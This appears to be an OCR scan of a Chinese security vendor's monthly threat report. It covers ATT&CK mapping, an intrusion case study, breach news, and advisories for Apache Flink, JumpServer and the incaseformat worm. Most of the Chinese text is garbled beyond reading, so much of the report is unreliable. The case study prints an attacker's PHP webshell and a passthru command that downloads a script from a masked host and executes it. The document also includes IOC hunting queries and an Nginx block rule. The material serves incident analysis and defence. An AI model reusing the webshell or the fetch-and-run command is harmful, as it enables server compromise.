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TER—NZER, BATEHRAATTRCKEZEX SQUE AN T H TR M. SQL
ANEB—HEIWEBN AX S, SESIBOWASP Top 1058, EBEREHNEE
ANI=ES

B, HHFZBHBSQUENIEFTI RIIATTACKE R, ZEMITREE H4A
LRIEMHES), SQUIANBE—RET “#iainin): FANIMNHBNARERFR
8 (Initial Access: Exploit Public-Facing Application) ”

[ oomain | 0 | Meme | ue |

_ _ APT28 has conducted SQL injection
Exploit Public-

Enterprise  T1190 ; o attacks against organizations'
Facing Application :
external websites.

_ Exploit Public- Axiom has been observed using SQL
Enterprise  T1190 ; - - ;
Facing Application injection to gain access to systems.

_ _ Night Dragon has performed SQL
, Exploit Public- =
Enterprise  T1190 ' o injection attacks of extranet web
Facing Application ;
servers to gain access.

Exploit Public- APT39 has used SQL injection for

Enterprise  T1190 ; - .
Facing Application initial compromise.
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AL R BERBABRERIARIFNBHRE1T N ERRESNRAINE IR
BENABRE, HIIISQLUEN. WEBN A AE R gE= 1N 2 B AR
BN 7
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1. WEE P R R T S2-0520R A H M A XM EE,

“MiZL: EnpiE (Reconnaissance: Active Scanning)

2. BAS2-052RAHE RIS IAMERRS, BT “91h
0] MBI AFZFERA (Initial Access: Exploit Public-Facing
Application) ™ ;

3AERA—MMUSENRRE, S2-052F BRI BRI “HIT: snHl
A fBFE28 (Execution: Command and Scripting Interpreter) ”

=

4. REBAGCHLTHEERERBASR, TEBT “ME
(Reconnaissance) ” “$h 47 (Execution) ” “FTra
(Persistence) ” “IPBRIEF+ (Privilege Escalation) ” “B AN 6%
(Defense Evasion) ” . “&EiEiAiA] (Credential Access) ” R/ I
(Discovery) 7 . “#Em@#zh (Lateral Movement) ” “HEER A
(Exfiltration) ” < “&M (Impact) 7 +IEAFRRILLALHITA,

AR, KRB ERNHEANEAR, RMTERERE/SEEEN, T
ARIFBERNAESES, BINTERERNOMSEHEN L TYXHEES
&5, EEEREalEYE. ArER. RRHESELINIERNER
T, A EEEHRARNTERRYHIET,

EHEIMNSATTRCKE A /AR Z [EfRFERERARIT X R, BRINEME
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TE20%NEFMNEZERETE KA TATTECK, Altt, BFRZXMZE, i
MNIERMENL” -

=, BRI
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XTI ZLEERENRESIMHHEZMAENER, Bl Zehs
FKRNEBRANEXE, MBRETAIENITT . NEHREIXE—AREZTAH
BelxERERE?

WETANRMEN, NZBTHEOMNNEE, X—SEmEegiyied
To MERSHNNELLN TETESEMNHRETA:

1 WEEATENX EBIWEBE RERE “/wp-admin/wp-login.php™ #1777
BN, HFRIHERTWEBEA “/wp-admin/index.php” ;

2. WHEAN ENX EBIFTPARS #1477 &0 M, FHLL “anonymous”
RBERRINER, FEET —PXEAXH “test.txt” , XHERBNR
“11111111111117

3. WEHBABENXEH “/wp-admin/admin-ajax.php” EfET —1
PHPHIA S “a.php” , XHRBEAN—PEIEHN “key” BIFTIWebShell:
“GIF89a<?php @eval($_POST[ key');?>" ;

4. WHBAHRIENIXEY “/wp-content/uploads/2020/12/1-1607668635.359.
php” , BEAMNEBE—1POSTIEXRESH “key” , ZHEN “passthru(’/usr/
bin/wget -c http://x.xx.x:xx/cs.php -O /tmp/cs.sh && /bin/sh /tmp/cs.sh 0<&1
2>&1")"

BABWNHHEHFHITENRENRR, ABEUTHRIAE:

3.1 BEWETH, DIREHPRE

MER ERRETH, BIFILUANTHNL->3->4E%BX, BENS1TR2X
BAK. HAEDFIMTHIKIESR

LINETNASTTRN2ZER, BRAAXMHE. XHRE, XHERBHTG. FF
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TAHR

BB EHEBIFTPSS O LEXH, WEEXNEEMN “1-1607668635.359.
php” XAKHIXHE, il iR,

2. INETTNASTR3MER, BRANITR4FIRIBIURLIESE 1T 3T
A8wpdiscuz EERERNES BRI, BIT93F7 LESUHFERBFRRRTIZE
517 04F8IPOSTSEE —E,

REBATT&CKIEZR D, TAIMTR2EET “FEibihn: 815F
T, HEAERRIERBET R
1B (Initial Access) 7 RHE—XK; TH3BT “BAk: RSN GFHLMGF

(Persistence: Server Software Component) ” ; 74T “saFizHl:
MEEMY (Command And Control: Application Layer Protocol) ” %

BI 0L, ATT&CKAEZRAEEX ISP RIFAERE, — Do BBIV B iR
R Lo BERERMFHEENX MBI RBARS  E A KRB
SDBEATTLCKIIERL AR, A MR EIT N4EIREBIT N2NEEE RT3 GE
£ TRBEIRZEIT NIRRT 2HES.

Khr b, BMEEIRERAFEEATHNEARTRN: EEFRE. A
X HZHHERS, I, DITERFEZERE X TIPS, wpdiscuz
EERAL UURPHP WebShellftUh 48 X BV BMAFIIR, X MEIETE
B, ATT&CKIEZRAS LT &HE /T A Rito

I (Credential Access: Brute Force)

3.2 {EWEITANXEK, INESHETH

RERHREN S — M BEE, A= /I MERINNKREITAER, T
HEBENBEHITH. B0, RIBAIRRLBHAEBIEH LN

1. TR, BEEBBIFTP LEENLEN X Htest txte HHBRE L1E
AIPAT M, PIRERHTHEE L AMEFTPERMEL KR, WEHE A
EXIWMIEFHT T BREME, Uiktest xt @S A TFMi5 B RA,

2. 17947, WEHBFTITHG SR FE—Nsh>XX - HHRIT. WRHAIT
AT, ENXROZFEIEEINXNITR, BAIEREELEEWMEITN; weet
LB BIMCRCENMAHBIZANEINER, EEEEN LHITER
DS HE LB RNBEHIT .

M EEBRIBZEA, ATTRCKTEXAFR IR IR ARMIR F A7, &
5, RBWETTHRERFIATTACKEA /AR, REELTZEMASKFTERS
SIMNERTIIET

W 2281R /20212
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ME R SKEERER,
BIRAATTRCKIEZ W F Rl fEERe
BIRTHFEERFNESEN, B
SEEFMAE—ERR M.

—PMREZ, ATT&CKE—1
EEERSERBIMESR, FATFTREER D AE
552 LENEMER. NREH
—H, RMeEBTBMXEAES
PREMLZM. Kimfll. SN E
&, WIFRLAEE AT TRCKIESRAISE
HR N AR SRA F Y 12,

BEDEIRMER, HIER
HEEIFRIRINO, BEBIFATTECK
Sl z2zEREANEGE
Fo ANETEENFBATTECKIEZR AR
el =2 THERNSEFED, K&
BARR—BNEN—NEEZNHR
Pl

MRERIXPERE R L
b, TEBESHEH. EIEIER
B9~
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XEMNEXRITHPRANREZE

i E: BETAEDA—FHALL AutoHotkey (AHK)BIAIB S R85 B SR EX
B, XZEB 2020 FHFENEE SN —E65,

XBE: AT (EE. EKR RITHAF) , BEREA (X238 o

N B 2EEEDE—MFHLL AutoHotkey(AHK) I ZIE = R E M EIETEY
12, X2 B 2020 FAIFEHNIE G —EB57.

EEMNEARTHAFRZ2RENEEEN, FIRFIRIT. MEXEXKR
77 JCFERTT. Alterna 217, Capital One. Manulife #1 EQ Bank. M EIEENER
7728 ICICI Banks

AutoHotkey /2 Microsoft Windows I—fFHRBEXMAES, ETNRE!
2 M Btz E R OME, AIFAFEER Windows WAEFEFBERIHN
TEENES.

ZINER RIS T — MR\ T Visual Basic for Applications(VBA)AutoOpen
EREAEBRIGD Excel X, ZZEMERTBIEE AHK IR IZE 01T
X % “adb.exe” MIEFHHITTEIZFEFinMA “adb.ahk” .

htp://94.103.94.186 n

Victim 2

20212 ) 228K @



-

3

X
NSFOCUS

TR

REEMF

THEPIRMAEAFTLMFAN. DTREEEE. URMUTEE. &
= ImBAY C&C ARSS 28 TR IEITHEAM AHK Bz,

ZEBE T HITHT AHK BIA TSR ERNES, M EEEM C&C AR

BN,

Trend Micro AR A RRT: “WEHE B LURTE RN ERNM AR NS MA
Fel BRAKRNMBEENXN S, XMALET TERFRATHRE, 5512 mE A

RARS DB, 7

HPRFTENBIXI &M 28 (than Google Chrome. Opera. Microsoft
Edge H)NEITIIEF. —BRE, GRERSZRESRRENNEE ETH
SQLite & $R( “sqlite3.dll” ), ERAEXINEAZM BIZF X HFFHY SQLite #iF
FEHRAT SQL 2 1),

=G, BERERMNSEWEHEZEIE, F@id HTTP POST 15K
X BEESHR C&C RS2,

BEIEAN TR FARERE , EREENEANAERE
HE) ERFERSEHNEEEE— “BREEE AR,

MRAREES: “BIEREENREARPERRZAERZBHNMAIE

=, IEBRAHEHMEEN C&CRSR, RENERBETERE,

15 B 3RR: http://hackernews.cc/archives/34480
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BT EMNETSEHh3EHFh Livecoin
HEBENEEEIIRSS SFRVIEFIN

W B BPHIIERETHRZH Livecoin T FLXRAEBE AR ERMHEE,
B IRECHREBEETRS, KETUWEADRSHBETG, AEESEFE

LEERERS,
XEIE: AR (INREHRXZF. Livecoine Z2ENRE) , RAR:A (ZaE
) &

3
%

D BBPHTIIRIRTHR ST Livecoin EFLRAEEB AN EREEE,
B MBOREBERERE, AETHUHMHRSENZG, HESEAE
IEEAERS, RIE (R LS F, WEMFRERE 12823 H

212 B 24 BZE&REE, BRMUF BLEHT Livecoin RIEMIS
B, REMERICEERNEAXBRIEIEE,

C £ arnm | 2 1 o £ &
ATTENTION!!!

Dear clients, we ask you o stop using our service in all meanings: don't deposit funds, don't
irade, don't use APL 'We are under a carefully planned attack. which has been prepared, as
we assume, over the last few momhs, We lost control of all of our servers, backe ml and

nodes, Thus, we were not able 10 stop our service in time. Our news channe

compromised as well. At the moment, we parti rol frontend, and so we

|>|1 ce this announcement, We're fghting lard ek our .\\'I\'L‘I\.IM‘I.h.‘a a

we're working 24/7. News and next update will come up in the next few day \'u. e

1'-'urku:|-_;! in contact with lecal police authorties. We really do our best to ov rercome this
issue

£ 12 B 24 B8], Livecoin BIERIEFLIE D RAMNIA AN /I, LU
M CERBEMNERR 2.3 H3E/BTC BAKEIBIT 45 537T/BTC, LUK M 600
FEIU/ETH IBKE 1.5 H3E7m, WmEMNIEM 0.27 =5o/XRP BKEIET 17 &t/
XRPo

CEWENE, MM EERTRIKS, L EHFIE,
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TEMIE FEARBERR,
Livecoin BIEARX—SMHEAEN
“BLOEXN &, FUOBENERE
EsEE, IS EN/LNARBEES
77 o

‘TR ETXHRBRS R
EafT RSl i, JITTE
MBHEIERS . BAIFTEMED
RENT MW, 7 ZAE .

“Bal, HMEHES T A
&, ALHENMNEBHEX NS, 7
TANFEE, Livecoin BIEFURAF 2
IETERR, BT UERY AP FIEBTHAL
FEFEEMEOH 1725,

FMRZHINBBEHREERA
ARE, —EBPIANEIRES
HIRAENRESFEE, Livecoin
xm, MBS EA T S ES
o

128 CoinMarketCap BIEIE,
Livecoin #25NB B =28 173 0
BIEMRZS, BRIZETMA 1600
FETT, ZWILE 2014 F 3 ALK
—H/EH.

W 22 81R /20212

@ #DYORangutang W

Wl.a @cryptorangutang
Replying to @cryptorangutang
$BTC just reached 320k on it - whatever is going on, | don't

recommend trying to make $ on this, very likely you will get
your funds stuck

7:36 PM - Dec 24, 2020 0]

O 54 OQ 21 people are Tweeting about this

Tie .
@ceo_run

I #Bitcoin 1 reached $200,000 on Livecoin. Russian
oligarchs know something we don't.

BUY / SELL »

24High: 200 000 USD

8:55 PM - Dec 24, 2020 @

Q7 & See™ i, @'sother Tweets

ssc- L J

RIP & n_net apparently...prices x10 across the board
as users scrambile to a liquid coin that is still withdrawable,
Not many of these last gen exchanges left anymore, for good
reason

EEFXERE: http://
hackernews.cc/archives/34376
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HA=R{TIMEREFNE

W B INERE, FEZRTARXRT, RIN—MUERFAER—=5HD
TRANEENE, ZEFEEEERNBH UM NPABRERS. XK
SEAUTERM NETE—HERRR, FEZHEERTHETH=E
FEMEBURIE BRVE =1 X H ZRRSERIBETE,

X e (A=K7, BERD) , BARA (ReFH)

W B 17K Adrian Orr &7, IRABZEENTH. ZRITHZOThEE “hA
g 2Miztk, ” O & “WNNEAESERNMEFRMS R 2% KM
HMRXE =Y &F, fEAFRITBEN N RS SR G R —E

AN 2]
JJo

BRI IPIRE B RALEEINERES, BRI aE—LEEm LA TA
R ER, 7 OrihsmiE,

TRITRAZ BAEZ /], RRREERFIFH Tk, “THRIDAEIEHSE
=M NeafEmRENE, RNNEESERRERLPNARFZAFGIE, 7 Orr
o

ZIRITIE AL EIRELATNBFHARE,. BRENEERENRSEMH
RE BKE, BRNERELEEMTRERABEETEAN, UAXHEHEZRSEE
A EZ,

ELEN—FE, HE=LDE2NE N TS T ER, HPE
T AR5, ZZPTRIRSS2E 8 A EMNEREW T, ELEE NI
— B8k,

BT = R ENAIZHIT Dave Parry SIRFEE=BE, BITHUIBEESH
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REEMF

B ER FEmE EUERS —TEF. “BRARNRMEN—FUATICES
AEX B, BIFRASZRBRE s M AR, PRURERERREE
RMBUTX BUFBIEERRY, 7 Parry o

RESERVE
BANK 1 News 7= Education & Events & Carers @ Fans . Contact

OF NEW ZEALAND
TE POTEA MATUA

Bank responding

Reserve Bank responding to illegal breach of data system

Release date 10 January 2021

The Reserve Bank of New Zealand — Te Pidtea Matua is responding with urgency to a breach of one of its data
systems.

Athird party file sharing service used by the Bank to share and store some sensitive information, has been illegally
accessed.

Governor Adrlan Orr says the breach has been contained, and the Bank is treating the matter with the highest priority,
and acting with urgency.

We are working closely with domestic and international cyber security experts and other relevant authorities as part
of our investigation and response to this malicious attack. The nature and exient of information that has been
potentially accessed is still being determined, but it may include some commercially and personally sensitive
information.”

The system has been secured and taken offline until we have completed our initial investigations. It will take time to
understand the full implications of this breach, and we are working with system users whose information may have
been accessed. Our core functions remain sound and operational.”

Media Contact:

Oliver Bates

Manager, External Stakeholders
DDI: +64 4 474 8627

Email: Cliver Bates@rbnz.govtnz

15 B 3RR: http://hackernews.cc/archives/34597
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Sl T ER 5%

F{FRIRAF] Juspay REEIE MR
1{ZARPEEEIERNHE

W E: $ESISME ZDNet IRE, ENESZ(GAIEAE] Juspay BT 1128 FBIE
Bk, ERAREEEREMN EHEE, Juspay TERNTEE. Swiggy.
MakeMyTrip A B IEZ (11550

X5 A (Juspa. FIBHR. AFPER), BEARRA(ZEEH).,

A A E5|IME ZDNet RE, EIESZGAMEAT Juspay BT 1 (2B FBE
12 £ ERFEEEBMNLEEE. Juspay FEATIZE. Swiggy.
MakeMyTrip ZA 8] IB7 k55,

ElF>RBTF Pixabay

ARV R B LISURE R & (data dump)BUFE=l, M—DNEM Juspay
ARS8 FIRN. Juspay BETHEABERWHIAT ISR ESHF, HifiR
T R ESE AT,

AEAEEFREE: “BIREOMBANE, 2020 F8 8 18 BN LY T —
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TR REEMY

EHIEEESM. RNNHEDBANIEGRBIERER. FHSEMEBFHHE
ID #tt BB o

MLE L 25 AR Rajshekhar Rajaharia X I T #UEME, AW, FUE
FAE o] ATEREN EHE . Rajaharia X Business Insider =7, INRBEFE
BRATEORSHNEBEL, XREIBEEEST™E,

%8R Juspay BUWIE, SHERE B EEIFERNBIERER. FISHE
AR BB ID. ZABRR, HENEENEETEN RS ITRER.
~BY PIN 538k Zt8, Rajaharia #Ett, MRATFRHRSHELREE, &
BEECHF AL, 7 BB Al mREAN K,

BRT EIRXRSN, Rajaharia M3EH, 1FIRE DI REST AR EIREER
HURES R A BT EBRNEIEaFEFISH, t1n LIFTEEL2LHEN
FEA, WA (TEBTEN RS, PING CW DUR—R M,

5 B3R http://www.youxia.org/2021/01/54427 .html
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Apache Flink BRiERHFER
(CVE-2020-17518. 17519)
C e Bl k=]

K*mEdiE]: 20211 H 6 H

Rk

L H, Apache Flink 2% TR PNERBHFRF, D7l2CVE-2020-17518
CVE-2020-17519, ERIER BIRMEE TIRANFRAE, TEZEMAFRIRE
FFH AT

CVE-2020-17518: Flink L5.1ARASHSI AT REST API, 1ZRAMRITFHREE R
WNEERRIHTTP header, K EEMXHENBI A ARG ENERAE,

CVE-2020-17519: Flink&fohA (1.11.0,1.11.1,1.11.2) REEZRE, 7
WWHE BT JobManagerif F2AIREST API, 2EXJobManagerdsisX 4 £45 E#Y
RN, IEMNBRTF JobManager# 2 vl 1518893 s

Apache Flink@F R IBIELR, BIBTIREIEHITHMIALIE, TR
BN A Z0

SEWRE

https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a181
16f23eec5b6df2b2achfef261%40%3Cdev.flink.apache.org%3E

https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f6
8fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org3E

2R aahRds

CVE-2020-17518
[ Apache Flink Version : 1.5.1-1.11.2

W) 22 81R /20212

Apache Flink
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CVE-2020-17519
(] Apache Flink Version : 1.11.0,1.11.1,1.11.2

(28 iREArhRE

[0 Apache Flink Version : 1.11.3. 1.12.0

BREE

EABRERRBE T ERRARNIRE, BINZEmARRIERAR.
TEHIAE: https://flink.apache.org/downloads.html

LtESh, WFIERBFARAR, BICRELL N IaESBrir+Eh:
1. ZIESRRFARFlinke

2. AFlinkBYIAEIE MINIESRES,

- = B ~
KEZE2NENARERAEFENZ 20, FEREAANLZ e ASIREERARIE
oEIE. ATERE. FMELZSAEFRMENE BMSMIER B EEENGER &R
5%, WHERERANS, @BREUNRZENEEERNIFBEARE, FERFIA
BT NENERMBRN, IMERHNERELZENE, HATRIILZESANENT
B, EIERNERELEAND. REFBREMF, TMEEEENIEE BT NE
RNE, MEUEAARBERTFEWEN. //
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Incaseformat JBE= 18 MBAHIAEIN

KBl 20214 1A 14 H

Rk

2021 1 A 13 B, FEREN
SN FANEI SRS NEF R R
RLFTIBMY incaseformat /s, W
MERN. BEif. HE. cEBES
M, BRREENZAVSER
B XN BRSG, BRREENRI AP
BIERG D X9 MIER, BT
R HEDXIBERT WEEERN
incaseformat.log Y=, HIEM

£8 R RE B N incaseformats

Y 2281R /20212

ES
17

/(

LA

MIERSIBLERRE, ZRSREHIEN 2009 £, ERRSNHG
[ EBIREE S B8 Worm Win32. Autorun, MEZFRE]LLAIRIZEE N
Windows F & @i B/ B e RS,

RETERARCETH2RBESEREWindowsERT, KESER
NEMXGRFBBCIMERLINER. ZERTHRERTFIINER
[Bi517, MERAFMEBFERASPX THERFERENRE, HEQER
ERB X, WIMEsBEIBECEMR, RUFEBREEXGREEE
MR BE. RENIERASX TAEXGRITHIBRRIE, HolZ
incaseformat.log X4

e BAREINY

FRRIRE LA BEIN: http://blog.nsfocus.net/incaseformat/
BN, SRR @A IRMAENBIRNFIBHIEES .

SRS RIERS UES

FRG—RiFL e UES BREHRSER, EDR, RIRBES— A V&in%
P ihe BT EELR UES &, 2AUNBIBENHE, RAE2IEFH
LN, IsRE I ANZ 2SS,

XA ES, UESIREI M NBFECE 21X

1. ZZ2HPBER incaseformat WEVINFERIE RS, EEANNTR
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EDRIQMIEERR, BN, B,
2. EIBROEIWEHFEACE, LUIER incaseformat fmE M HEBIEERIZE
i, —BRIE ZMERTR, NIRETHTEET, SARENRRAFRE,
3. BEA MBI ERERHEIF, UZ12H, ERIGSFRBES
RE RN WAF ENE LR MUE S,

IZAREREREEZETFS ISOP
REBRREFAISOPE—ERNLETERN O m, EBRENEE

w2lE, FEEIRAIETHE, FRHEE B EIF,

HXUEREMS, WTEANT KRisuesBENFES, ol LUEYF & -
EIR-REEERTIE, BBUTAHARENESES REMENR, HEMS M
P

a) ETHEARhashieR
sample_file_md5:"1071d6d497a10cef44db396c07ccde65” OR file_
md5:"1071d6d497al0cef44db396c07ccde65” OR sample_file_md>:
"4B982FE1558576B420589FAAIDS5E81A" OR file_md5:"4B982FE155
8576B420589FAAID55E81A" OR sample_file_sha256:"8c8793eb7c8
0a09e1542e424€a89¢23¢195d364892620562e06b3df602890929" OR
sample_file_shal:"71aa3a0afleda821aldeddf616841c14c3bbd2e3"

b) EFHIZHE
process_path: "ttry.exe” OR process_path: "tsay.exe”

o) BT IMRIAVESAE
old_value:"C:\\windows\\tsay.exe" OR old_value:"C:\\windows\\ttry.
exe" OR new_value:"C:\\windows\\tsay.exe" OR new_value:"C:\\
windows\\ttry.exe"

d) EFImREEET
registry_path:"\\RunOnce\\" AND registry_name:"msfsa”

MREMBIZEME™, BEMER LHE,

FREMEIRIER EIHER Y RSAS

RETRLLIVERS RIASREE T SERRZRANRZ RS LHRER
B —HRE SR~ %, AUEN. 2R RSN, 17
HE A BHNREAMFENRER,

X AOREHS, RSASBELZMHR
SatHRe, BRARESHRA
(V6.0R02F01.2101) BIAIXZmeE
BT,

http://update.nsfocus.com/
update/listRsasDetail /v/vulsys

A~ BB
KRN NENARERTEEEFE
MZehRE, FERERALZEA
SR AMRIESAE, BT ERE.
FA I Z 2N EFFIRENE BEMmiEk
MEMEZNE EENER &%,
BWHERERAGT, GEBRE UL
TRENEEEZER NI ABE A= E.
FRRITIRE X LT 2 AEMIEA
BN, IMEBEHWEELZE2A
&, RIARIEZ S AENTENE,
BIERRINE RS LA, RKEZH
B F, AMEEEEHREEL L
ZENEARR, FMMEUEAAEE

EERENASES
p,

20212 | 228K @



NSFOCUS

JumpServer i THITER
TS

£6YIE: 2021418 15 0 X/ JumpServer

Rk

JEREVEILA15H, JumpServerk & 2i@Al, MEEL2HHET— TR
YHRITRR, BARRRESE, LHEHZHLUEI AMER)IP)JumpServere
2HHAEF.

XFJumpServer

JumpServer 22IKEMFTRIEZH, B GNU GPLV2.0 FERMY, 255
& AA AEMIEH L2 HIT RS, JumpServer 6 Python / Django A E#H1TFH
&, BEWeb 2055, E&E T RMAN Web Terminal A%, ZEHFREEN.
BFRAIf. JumpServer RADATVEMN, ZHFLZVEBXEEHE, ZIFEM
VB, TARFHENRH AR,

o MhRZs

O JumpServer® 24/ <v2.6.2kk A
O JumpServer® 24/ <v2.5.4kk A
O JumpServer® 24/ <v2.4.5kk A
O JumpServer2224l=v1.5.9

) 2281R /20212
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REhRZs

O JumpServerE224/1,>=v2.6. 2hi A
O JumpServerE224/1>=v2.5 44
O JumpServerR 224, >=v2 454774
O JumpServer22#1=v159 (HRASFIE)

W EEY

JumpServerB& %M T HMRABE T LR RE, BYNAFARRALRHAT
VaE7aN
FA PR B] LIRER JumpServeri2 I IERTEE H 2
® Eoi Nginx Bo& X RO ERz
/api/vl/authentication/connection-token/
/api/vl/users/connection-token/
¢ Nginx BLEXHUE
# X ERRA
/etc/nginx/conf.d/jumpserver.conf
# Al R A
jumpserver-release/nginx/http_server.conf
# FTRATE
jumpserver-release/compose/config_static/http_server.conf
¢ B Nginx BEC& S
#i# ARIUETE Japi 280 A0/ Z 81
location /api/vl/authentication/connection-token/ {
return 403;
}
location /api/vl/users/connection-token/ {
return 403;
}
#it FTIB DL X e

20212 /| 228K @
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location /api/{
proxy_set_header X-Real-IP Sremote_addr;
proxy_set_header Host Shost;
proxy_set_header X-Forwarded-For Sproxy_add_x_forwarded_for;
proxy_pass http://core:8080;
}

¢ BGEREER nginx
docker/5 =t
docker restart jms_nginx
nginx73 =t

systemctl restart nginx

SEWRE
https://github.com/jumpserver/jumpserver/

-

A, HTEE. MR ASFMEHRNESMERNIRHERREBZRNERMIA
K, WACAEAANR, FRRERURZ2ATFERNLFBEARET. SFERXA
B REAENERNERI INEHAEELREAE, YIRIETEZ2RENTT
B, OERNERSE2EAT. REZRREAT, TRERERIELRLREAE
AR, MEUEAAIEERTELEN.

= B3 ~

ERENENARERAUEFENZ 2R, FR/EAALREAEREERRIE

/
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REHIET & TR HURE R IRNA LR

2ol weimin

2303

FEBMEBYLREHRTA
REWH LERT —PEETEEH
RealHistorian#s ¥ & SS B EE Y
RENPLRE. B81, CNVDEXN
ZoRTEE SRS CNVD-2020-723700

FACNVD-2020-72370 , W
B O FEARIRANE L NIREEURAE B L
N EAR IR E RGBT B

RealHistorian 5 & SLBT#03RE 2=
HEEMATRBRFAL AETEE
FHIRFN BRI B TFRM. E
TEHEZMERER T,

SEWRE:

https://www.cnvd.org.cn/flaw/
show/CNVD-2020-72370

(CNVD-2020-72370)
ReES

K*BdE]: 20214 1A 18 H

MR anhiR s

0O &<&RealHistorian B F & SLBY4UEZE < V1.0.54.20201204_Release_
X32

C3=pForoles

EE=

BREE
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https://securityaffairs.co/wordpress/112664/security/godaddy-phishing-

test-employees.html
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MEEDERNKAR. TEEKM L, BTFEAENTERILUNE I SEMIT
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https://securityaffairs.co/wordpress/112701/data-breach/button-21-data-
leak.html
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FRB9F IR ILEENTjeer ParksF2019F NIA+K, ILATIZmAEIRHEMIRG N
IEITHEREE N
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https://threatpost.com/lawsuit-claims-flawed-facial-recognition-led-to-

mans-wrongful-arrest/162663/

5. Microsoft2{&E T Windows10HZ B {R1F8 2
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7£2020548 & HBWindows 10ARA2004/5~A, —LAPIRE 7IRENEIGLL
RIFEWeb %28 (Fla0Google ChromediMicrosoft Edge) LUK EAMR FAZF
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2004 10AR A9 19041173/ E S
WA I% &

[&E k]

https://www.ghacks.
net/2020/12/29/microsoft-has-a-fix-
for-windows-10s-password-saving-

issue/
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JNBETIRET —ML LR
B, ZRABIRIMENEINNELNH
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LRERENZ2RANESEEE
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https://securityaffairs.co/
wordpress/112765/data-breach/
kawasaki-heavy-industries-cyber-
attack.html
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W, WENBFHERZERBTIHEERERE2RS, U “BF 2LM
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https://threatpost.com/fbi-warn-home-security-devices-
swatting/162678/
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M2BFE, MalwarebytesHiF Z HMMEZ 2R A R ELICR T K
REIBENARIEN, XEAFERERNRE AT S 2B FHEMRRE
Fomih, =5, BINRIMMEILFEDFERERDEAR DR INEH TR
FBFH, ZWEEN—TEER, ERNERA—MA, MEFILEBRXERER
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(&E 5]
https://blog.malwarebytes.com/security-world/2020/12/the-most-
enticing-cyberattacks-of-2020/

9. #EYE FAutoHotkey BB R A YT EE, MEKMEIT

(#ER]
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LLAutoHotkeyRIZIBE RS, BEBMTEHIWeb N A FHEVRTTER. %
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https://www.inforisktoday.com/new-autohotkey-based-malware-

targets-us-canadian-banks-a-15680
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INERFERICOVID-19%E i DU R E R 24,
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https://www.inforisktoday.com/fincen-beware-scams-related-to-covid-19-

vaccines-a-15679

11. SolarWinds HackFHiFEE EE —MER R RHVA)E
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SolarWindsMEER & R2—RIIARKERKEFHRI—RX, AJLUREM
BUHERHFHFE™EN—R, XBAMT2009FERAHBIPTIBNHRE “ Aurora”
APTH T, &), XEXGoogle Gmall RGN —R K EH, BERRKS|ITHRT L
ANEERT, WIERIPENTVEXSER—EEFIIP, MEEAE
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https://www.forbes.com/sites/johndunn/2021/12/31/relax-at-least-the-

solarwinds-hack-tells-america-it-has-a-problem-worth-solving/

12. 2020 R EREAE M TR H DI
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20205, BREHRVHNNEBNEREEARANRE S ULS RBNEY R
EEMERAIOT SR SIEETSMAL. EEDEMARRSBHIPAAEIIR S
TEMIERRBRET, 2202056, HIREMKRS T619EERENENF, FHT
28808 Ao HAFBE41SN (H=Znz L) #WIREABRBENES . F12020

, HBE20405 NZEIFM, AT EXRELIENERIHBIALAEI0% L L.
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https://www.inforisktoday.com/analysis-2020-health-data-breach-
trends-a-15694

20212 ) 228K @



T X

o ¥

NSFOCUS

RedH

13. BT8R F S KIREN AIRS B R

(iR ]

EXRERLBGEBENAER T, ZRENRSAREE AN, REE
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http://mp.weixin.qg.com/s?__biz=MjM50DYyMTM4MA===2650409410=1=77
ba219bad1d8beca’33da035d6020b8=bec9506989bed97f279b2a52120412c6ef8a
5210d51a4d803065dde27d 735ad0fd 7439fe651 7#rd
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GoogleBIAndroid R BHHRR T 43 M mAndroid FH (BE=2F)
HIRA. GoogleBE TR M EMmEANdroid =HLAI™EEE IR, Android RGA M
REAEMENGE, XEREETERDED UHRTERERE, XM E
RARER—AMBNGoogle—BAndroidZ e NEN—8D. ZLTEEMBRT
Androidi@ERFRR 243N EIR. FRNE—E, EUHBTAndroidig &S
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https://threatpost.com/google-warns-of-critical-android-remote-code-

execution-bug/162756/

15. ElectroRat5 X Z BB R H K EHEMacO0S. WindowsHl
Linuxi&&
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IntezerfITZ 2R AREZI T —HHFHBIRAT (ZiEHRITHE) , ZTARE
BEXTWindows, LinuxfIMacOS. ZEEIEWMANE, EFEBinesiun
e, HEPR1LbRm B Ri£9034,000% 7.
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https://www.hackread.com/electrorat-crypto-stealing-malware-hits-macos-

windows-linux-devices/
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https://securitynews.sonicwall.
com/xmlpost/fake-cyberpunk-2077-

android-apps-are-on-the-move/

17. B4R E A EEBL
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BEEeABTrustwave
SpiderLabs#F, &S RMAINEFIE
BN BENE ST 2R
TENBEREEQRARE, ZAREH]
DI EVEDS, BEFEREE RS
TR A AIWindowsI& .
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https://www.inforisktoday.
com/trump-themed-phishing-
campaign-spread-trojan-a-15720

18. WhatsAppi2#lZE K 5Facebookt = £z
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1878, FEKRE LITFEBEEFImNWhatsApp B P =W E|— A2
FPRER, 1ZBEMNS B EEHNERARABERBRAF . WhatsApplEIEE
MEFRMBAEBE, E2FRAIER IR ="REBR, HIEHERZENR
AP RN SR, B TS EHMNERMRBFABZELNET, UNHEIRR
TEHYET,
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https://www.ghacks.net/2021/01/07/whatsapp-makes-data-sharing-

with-facebook-mandatory/
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EEBF SHackerOneF e & F#EH 78 =RBVRARE =1t X Hack the
Army 3.00 = Hack the Army BugE =114 F2019F10898E11815H
Zah@idHackerOne F 61517, HEEEHEFARSE (Defense Digital
Service) MEEEFHES (DoD) HEEENMEAREITHIEZM TEI27.58
FETAVRR), HEHIRS T 146 MBI,

[(&E 5]
https://securityaffairs.co/wordpress/113116/security/hack-the-army-3-0.
html

20. Apache Flink B RiBFiRH
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202118068, RIRFHLA-TeamZAA KN E|Apache Flink £ T B3
SHAREES, CVEARS HCVE-2020-17518, CVE-2020-17519, Apache
Flink@— MR mMAAIERESR, HiZOZEA JavaflScalaw 5D A IUMEIER
5%, WEEMNBAZREIRNTEENRS /IR, TREEANERX
, GEMRANZEBERE, RIREEENT ABF KBFRApache Flink&HT
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https://www.secpulse.com/archives/151162.html

21. Ryuk# =R HFiiF1.512% 7T
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R AR, RyukBIENGEENEEBEEANMNE D REMZE
B D ZHRFEBIT 1.512F . K2 REIHYASRYEEf 5 A Brian Carter
FAdvanced IntelligenceBIEEMITEVitali Kremezik &7, MMBEHE 7
RyukZSICSRE N S BB A B AR ERZ BB PR IR M
ik, HRARTE—MHFIRERR, ZEABTESRRESHR I EEHRS
P2 R BT INAYHuobiFBinance, 1Z/ AR ERE I AFBIZ M o

C i3
